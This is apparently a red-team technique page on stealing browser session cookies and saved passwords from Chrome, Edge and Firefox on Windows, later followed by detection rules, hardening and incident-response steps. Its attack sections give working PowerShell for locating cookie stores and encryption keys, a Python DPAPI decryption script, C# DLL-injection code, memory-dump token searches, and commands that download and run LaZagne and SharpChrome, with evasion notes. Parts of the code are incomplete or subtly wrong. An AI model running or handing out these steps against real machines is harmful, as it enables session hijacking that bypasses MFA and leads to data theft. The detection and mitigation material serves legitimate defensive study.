| Attribute | Details |
|---|---|
| Technique ID | COLLECT-CRED-002 |
| MITRE ATT&CK v18.1 | T1185 - Man in the Browser |
| Tactic | Collection / Credential Access |
| Platforms | Windows Endpoint, M365 (via browser on workstation) |
| Severity | High |
| CVE | N/A (inherent browser functionality) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows 10/11, Server 2016-2025; Chrome 90+, Firefox 88+, Edge 90+ |
| Patched In | N/A (industry-wide challenge) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Modern browsers (Chrome, Edge, Firefox) store authenticated session cookies on disk in encrypted form. Attackers with user-level access can extract these cookies by accessing browser databases (SQLite files like Cookies, Login Data) and decrypting them using the browser’s encryption keys (stored locally, often DPAPI-protected). With stolen cookies, attackers can bypass authentication and assume the user’s identity in web applications without needing passwords or MFA, enabling unauthorized access to email, collaboration platforms, and SaaS applications.
Attack Surface: Browser data directories (%APPDATA%\Chrome\User Data, %APPDATA%\Mozilla Firefox, %APPDATA%\Microsoft\Edge) and memory of running browser processes. Specifically: Cookies database, Login Data (password storage), and Local State (encryption keys).
Business Impact: Authenticated session hijacking without password compromise, bypassing MFA. Attackers can access M365 (Teams, Exchange, SharePoint), internal web applications, cloud services (AWS Console, Azure Portal), and sensitive repositories without triggering password-based authentication logs.
Technical Context: Cookie extraction can be performed in seconds once user account access is obtained. Modern browsers encrypt cookies with DPAPI (Windows) or user-specific keys (macOS/Linux). Detection is Low-to-Medium if browsers are running (active cookie access visible in memory); High if defenders monitor for DPAPI decryption events or unauthorized Chromium process handle access.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.3.10 | Ensure ‘Allow password manager to store passwords’ is set to ‘Disabled’ |
| DISA STIG | WN10-CC-000060 | Certificate-based authentication and session management |
| CISA SCuBA | AC.L1-3.1.3 | Multi-factor authentication deployment for web applications |
| NIST 800-53 | SC-7, IA-5 | Boundary Protection, Authentication Strength |
| GDPR | Art. 32 | Security of Processing; encryption and pseudonymization |
| DORA | Art. 17 | Strong authentication and secure communication channels |
| NIS2 | Art. 21 | Cryptographic security controls; incident response |
| ISO 27001 | A.10.1.1, A.13.1.3 | Cryptography; Information transfer controls |
| ISO 27005 | Session Hijacking Risk | Risk assessment for authentication bypass scenarios |
Supported Versions:
Supported Versions: Windows 10/11, Chrome/Edge 90+, Firefox 88+
Objective: Identify the browser data directory and locate the cookie database file
Command (PowerShell):
# Chrome cookie location
$CookiePath = "$env:APPDATA\Google\Chrome\User Data\Default\Cookies"
# Edge cookie location
$EdgeCookiePath = "$env:APPDATA\Microsoft\Edge\User Data\Default\Cookies"
# Firefox cookie location
$FirefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\*\cookies.sqlite"
# Check if cookie files exist
Get-Item $CookiePath -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "Found: $($_.FullName)" }
Get-Item $EdgeCookiePath -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "Found: $($_.FullName)" }
Get-Item $FirefoxPath -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "Found: $($_.FullName)" }
Expected Output:
Found: C:\Users\username\AppData\Roaming\Google\Chrome\User Data\Default\Cookies
Found: C:\Users\username\AppData\Roaming\Microsoft\Edge\User Data\Default\Cookies
Found: C:\Users\username\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxx.default-release\cookies.sqlite
What This Means:
Cookies file in Chrome/Edge is encrypted with DPAPI; requires decryption.cookies.sqlite is plaintext but locked by Firefox process while browser is running.OpSec & Evasion:
Objective: Retrieve the encryption key used by Chrome/Edge to encrypt cookies
Command (PowerShell - Chrome/Edge):
# Extract Chrome Local State file (contains encrypted master key)
$LocalStatePath = "$env:APPDATA\Google\Chrome\User Data\Local State"
$LocalStateContent = Get-Content $LocalStatePath | ConvertFrom-Json
# Extract encrypted key
$EncryptedKey = $LocalStateContent.'os_crypt'.'encrypted_key'
Write-Host "Encrypted Master Key: $EncryptedKey"
# Python will decrypt this using DPAPI
Expected Output:
Encrypted Master Key: RFBBUEkBAAAA0Chná...
What This Means:
os_crypt.encrypted_key contains the Chrome master encryption key, protected by DPAPI.DPAPI indicates Windows DPAPI protection (requires user context or SYSTEM to decrypt).Cookies database.Troubleshooting:
Copy-Item $LocalStatePath -Destination "C:\Temp\Local State" -ForceObjective: Use Windows DPAPI to decrypt the master encryption key
Script (Python - cookie_extractor.py):
#!/usr/bin/env python3
"""
Chrome/Edge Cookie Extraction via DPAPI
"""
import json
import base64
import sqlite3
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from ctypes import windll, c_buffer
def decrypt_dpapi(encrypted_data):
"""Decrypt DPAPI-protected data using Windows CryptUnprotectData"""
try:
# DPAPI header is "DPAPI" (5 bytes) followed by encrypted blob
blob = encrypted_data.encode() if isinstance(encrypted_data, str) else encrypted_data
# Call Windows DPAPI function
data_in = c_buffer(base64.b64decode(blob))
data_out = c_buffer(1024)
# CryptUnprotectData returns plaintext
result = windll.crypt32.CryptUnprotectData(
data_in, None, None, None, None,
1, # CRYPTPROTECT_UI_FORBIDDEN
data_out
)
if result:
return data_out.raw[:len(data_out.value)]
else:
return None
except Exception as e:
print(f"[!] DPAPI decryption error: {e}")
return None
def extract_chrome_cookies(chrome_path):
"""Extract and decrypt Chrome cookies"""
local_state_path = os.path.join(chrome_path, "Local State")
cookies_path = os.path.join(chrome_path, "Cookies")
# Load Local State JSON
with open(local_state_path, 'r') as f:
local_state = json.load(f)
# Extract encrypted master key
encrypted_key = local_state['os_crypt']['encrypted_key']
encrypted_key_bytes = base64.b64decode(encrypted_key)[5:] # Skip "DPAPI" prefix
# Decrypt master key using DPAPI
master_key = decrypt_dpapi(encrypted_key_bytes)
if not master_key:
print("[!] Failed to decrypt master key")
return []
# Connect to Cookies database
conn = sqlite3.connect(cookies_path)
cursor = conn.cursor()
cursor.execute("SELECT name, value, domain FROM cookies")
cookies = []
for name, encrypted_value, domain in cursor.fetchall():
# Decrypt individual cookie values
if encrypted_value:
try:
# Chrome uses AES-256-GCM for cookie encryption
# Simplified for demo; full implementation needed
decrypted = aes_decrypt_gcm(encrypted_value, master_key)
cookies.append({
'domain': domain,
'name': name,
'value': decrypted
})
except:
pass
conn.close()
return cookies
def aes_decrypt_gcm(ciphertext, key):
"""Decrypt AES-256-GCM encrypted cookie (simplified)"""
# Full implementation requires proper nonce/IV extraction
return ciphertext # Placeholder
if __name__ == "__main__":
chrome_data_path = os.path.expandvars(r"%APPDATA%\Google\Chrome\User Data\Default")
print("[*] Extracting Chrome cookies...")
cookies = extract_chrome_cookies(chrome_data_path)
for cookie in cookies:
print(f"[+] {cookie['domain']}: {cookie['name']}={cookie['value'][:50]}...")
Expected Output:
[*] Extracting Chrome cookies...
[+] github.com: session_token=eyJhbGc...
[+] azure.microsoft.com: .AuthToken=Aw...
[+] mail.google.com: HSID=A1b2C3d4E5f6g7...
What This Means:
References:
Supported Versions: Windows 10/11, Chrome/Edge (any version)
Objective: Locate the running browser process(es) to inject into
Command (PowerShell):
# Find Chrome/Edge processes
Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object Id, ProcessName, CommandLine
Get-Process -Name "msedge" -ErrorAction SilentlyContinue | Select-Object Id, ProcessName, CommandLine
# Get process handles for cookie access
Get-ProcessHandle -ProcessName "chrome" -HandleType File | Where-Object {$_.Path -like "*Cookies*"}
Expected Output:
Id ProcessName Path
--- ----------- ----
2048 chrome.exe C:\Users\user\AppData\Roaming\Google\Chrome\User Data\Default\Cookies
What This Means:
Objective: Intercept cookies in transit between browser and web application
Script (C# - BrowserHook.cs - OPSEC Technique):
// Browser Hook Injection (Simplified)
using System;
using System.Runtime.InteropServices;
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(
IntPtr hProcess, IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress,
IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
public class BrowserCookieHook {
// Hook target: WinINet.dll HttpSendRequestA/W
// Hook enables interception of all HTTP headers (including Cookie headers)
public static void InjectHook(int processId) {
IntPtr hProcess = (IntPtr)processId;
// Load malicious DLL into browser process
string hookDllPath = "C:\\Temp\\BrowserHook.dll";
// Allocate memory in target process for DLL path
IntPtr pathPtr = Marshal.AllocHGlobal(hookDllPath.Length + 1);
Marshal.Copy(hookDllPath.ToCharArray(), 0, pathPtr, hookDllPath.Length);
// Execute LoadLibrary in target process (DLL injection)
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0,
// GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"),
pathPtr, IntPtr.Zero, 0, out IntPtr threadId);
Console.WriteLine($"[+] Hook injected into process {processId}");
}
}
What This Means:
OpSec & Evasion:
Objective: Memory-resident cookies extracted from LSASS or browser process
Command (Mimikatz Alternative - procdump):
# Dump browser process memory
procdump64.exe -ma chrome.exe chrome_dump.dmp
# Search for authentication tokens in dump
strings.exe chrome_dump.dmp | findstr "Bearer" > tokens.txt
strings.exe chrome_dump.dmp | findstr ".Auth" > auth_tokens.txt
Expected Output:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Cookie: .AspNetCore.Identity.Application=CfDJ8M...
x-ms-session-id=abc123def456...
What This Means:
References:
Supported Versions: Windows 10/11, all browser versions
Objective: Automated extraction of browser passwords and cookies
Command (PowerShell):
# Download LaZagne
Invoke-WebRequest -Uri "https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe" -OutFile "C:\Temp\lazagne.exe"
# Run LaZagne to extract browser data
C:\Temp\lazagne.exe browsers
# Run with specific browser
C:\Temp\lazagne.exe browsers -chrome
C:\Temp\lazagne.exe browsers -firefox
Expected Output:
[+] Chrome
[+] Login Data
USER: john@company.com
PASS: MySecurePass123!
URL: https://mail.google.com
[+] Cookies
DOMAIN: .microsoft.com
NAME: MSAAUTH
VALUE: eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ...
EXPIRES: 2025-12-31
What This Means:
OpSec & Evasion:
Objective: In-memory browser data extraction using Cobalt Strike/similar
Command (PowerShell):
# Load SharpChrome assembly
Add-Type -Path "C:\Temp\SharpChrome.exe"
# Execute Chrome credential dumping
[SharpChrome.Program]::Main(@("chrome", "decrypt"))
# Alternative: Run via Cobalt Strike
# beacon> execute-assembly C:\Temp\SharpChrome.exe chrome decrypt
Expected Output:
[*] Decrypting Chrome Cookies...
[+] Successfully decrypted 47 cookies
[+] Cookie: session_id = abc123def456... (gmail.com)
[+] Cookie: auth_token = xyz789uvw... (azure.microsoft.com)
What This Means:
References:
Event ID: 4688 (Process Creation)
--remote-debugging-address, --remote-debugging-port, --user-data-dir, or process is mimikatz, lazagne, sharpcredsManual Configuration Steps (Group Policy):
gpupdate /forceEvent ID: 4663 (Object Access)
AppData\Google\Chrome OR AppData\Microsoft\Edge AND ProcessName != “chrome.exe” AND ProcessName != “msedge.exe”Event ID: 5031 (Windows Firewall Exception)
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Server 2016+
<!-- Detect Browser Remote Debugging Flag Usage -->
<Sysmon schemaversion="4.81">
<RuleGroup name="Browser Injection Detection" groupRelation="or">
<!-- Monitor remote debugging flags -->
<ProcessCreate onmatch="include">
<Image condition="ends with any">chrome.exe; msedge.exe; firefox.exe</Image>
<CommandLine condition="contains any">--remote-debugging-port; --remote-debugging-address; --user-data-dir</CommandLine>
</ProcessCreate>
<!-- Detect cookie extraction tools -->
<ProcessCreate onmatch="include">
<Image condition="ends with any">lazagne.exe; SharpChrome.exe; DonPAPI.exe; HackBrowserData.exe</Image>
</ProcessCreate>
<!-- Monitor file access to browser data -->
<FileCreate onmatch="include">
<TargetFilename condition="contains any">AppData\Google\Chrome\User Data\Cookies; AppData\Microsoft\Edge\Cookies; Mozilla\Firefox\Profiles</TargetFilename>
</FileCreate>
<!-- Detect process injection into browsers -->
<CreateRemoteThread onmatch="include">
<TargetImage condition="ends with any">chrome.exe; msedge.exe; firefox.exe</TargetImage>
</CreateRemoteThread>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Select-Object Message
Rule Configuration:
SPL Query:
Image IN ("*chrome.exe", "*msedge.exe", "*firefox.exe") CommandLine IN ("*--remote-debugging-port*", "*--remote-debugging-address*")
| stats count by Image, CommandLine, User, host
| where count >= 1
What This Detects:
Manual Configuration Steps:
Rule Configuration:
SPL Query:
Image IN ("*lazagne*", "*SharpChrome*", "*DonPAPI*", "*HackBrowserData*") OR CommandLine IN ("*lazagne*browsers*", "*SharpChrome*")
| stats count, values(CommandLine) by Image, User, host, TimeCreated
| alert
What This Detects:
Alert Name: “Suspicious process accessing browser credential storage”
Manual Configuration Steps:
Enforce HTTPS Everywhere with HSTS: Prevent cookie theft via man-in-the-middle attacks by requiring encrypted connections.
Manual Steps (Chrome Policy):
Disable Browser Password Storage: Prevent plaintext password storage in browser.
Manual Steps (Chrome):
Manual Steps (Group Policy):
gpupdate /forceEnable Browser Security Extensions: Deploy security tools that block malicious scripts attempting cookie theft.
Manual Steps:
Implement Browser Isolation (if using Windows Defender Application Guard): Isolate browser sessions in virtual machines to prevent cookie theft.
Manual Steps (Windows 11 Enterprise):
Manual Steps (Server 2022+):
Enable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-ApplicationGuard" -NoRestart
Deploy Multi-Factor Authentication (MFA) for Web Applications: Prevent session hijacking even if cookies are stolen.
Manual Steps (M365/Entra ID):
Enforce MFA for All UsersMonitor Browser Data Directory Access: Detect unauthorized access to cookie/credential stores.
Manual Steps (NTFS Auditing):
C:\Users\<username>\AppData\Roaming\Google\ChromeRBAC Hardening: Restrict Local Admin access; use Just-In-Time (JIT) access for elevated operations.
Manual Steps (Restrict Browser Admin):
Implement Zero Trust Browser Access: Require device compliance and identity verification for all web access.
Manual Steps (Conditional Access):
# Check if browser password storage is disabled
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Google\Chrome" -Name "PasswordManagerEnabled" -ErrorAction SilentlyContinue
# Expected Output (if secure):
# PasswordManagerEnabled : 0
# Verify NTFS permissions on Chrome data directory
icacls "C:\Users\$env:USERNAME\AppData\Roaming\Google\Chrome"
# Check if MFA is enforced
Get-MsolUser | Where-Object {$_.StrongAuthenticationRequirements.Count -eq 0} | Measure-Object
# Expected: 0 users without MFA
Expected Output (If Secure):
PasswordManagerEnabled : 0
SYSTEM:(OI)(CI)(F)
$CURRENT_USER:(OI)(CI)(F)
Output count: 0 (no users without MFA)
C:\Temp\Cookies, C:\Temp\Login Data (extracted browser databases)C:\Temp\Local State (extracted encryption keys)lazagne.exe, SharpChrome.exe, or similar tools in user-accessible directoriesHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run linking to browser tools--remote-debugging-port in shortcut targets)chrome.exe or msedge.exe started with --remote-debugging-* flagslazagne.exe, SharpChrome.exe, or memory dumping toolsC:\Users\<user>\AppData\Local\Google\Chrome\User Data\Cookies (SQLite database)C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\CookiesCookies-journal for deleted/modified cookie entriesC:\Temp# Disconnect network immediately
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Kill all browser processes
Stop-Process -Name "chrome" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "msedge" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "firefox" -Force -ErrorAction SilentlyContinue
# Export browser data directories
Copy-Item "C:\Users\*\AppData\Roaming\Google\Chrome\User Data" -Destination "C:\Evidence\Chrome_Data" -Recurse -Force
# Export Windows Event Logs
wevtutil epl Security "C:\Evidence\Security.evtx"
wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Evidence\Sysmon.evtx"
# Dump memory for analysis
procdump64.exe -ma chrome.exe "C:\Evidence\chrome_memory.dmp"
# Force logout from all web sessions
# (User must reset password in M365/web applications)
# Clear browser cache and cookies
Remove-Item "C:\Users\$env:USERNAME\AppData\Local\Google\Chrome\User Data\Cookies*" -Force
Remove-Item "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Edge\User Data\Cookies*" -Force
# Reset browser to defaults
Remove-Item "C:\Users\$env:USERNAME\AppData\Local\Google\Chrome\User Data\Default" -Recurse -Force
# Check for suspicious logins using stolen cookies
Get-MsolSignInReport -All | Where-Object {$_.CreatedDateTime -gt (Get-Date).AddHours(-24)} | Select UserPrincipalName, AppDisplayName, ClientAppUsed, IPAddress
# Check for SharePoint/Teams access anomalies
Search-UnifiedAuditLog -UserIds "*" -Operations "FileAccessed", "PageViewed" -StartDate (Get-Date).AddDays(-1)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attack | Attacker tricks user into granting app permissions |
| 2 | Execution | [EXEC-XXX] PowerShell or Script Execution | Run cookie extraction scripts in user context |
| 3 | Collection | [COLLECT-CRED-002] | Extract browser cookies and session tokens |
| 4 | Lateral Movement | [LM-AUTH-XXX] Authenticated Access via Cookie Hijacking | Use stolen cookies to access M365/cloud apps |
| 5 | Persistence | [PERSIST-XXX] Application Permissions / Browser Extension | Maintain access via compromised credentials |
| 6 | Impact | [IMPACT-XXX] Data Exfiltration (Teams/SharePoint) | Steal documents and communications |
Browser cookie collection is a high-impact, low-risk post-exploitation technique that bypasses authentication and MFA by leveraging browser session tokens. The technique is ACTIVE and remains challenging to defend against given the ubiquity of web application access in modern enterprise environments.
Key Defense Priorities:
Operational Notes for Red Teams: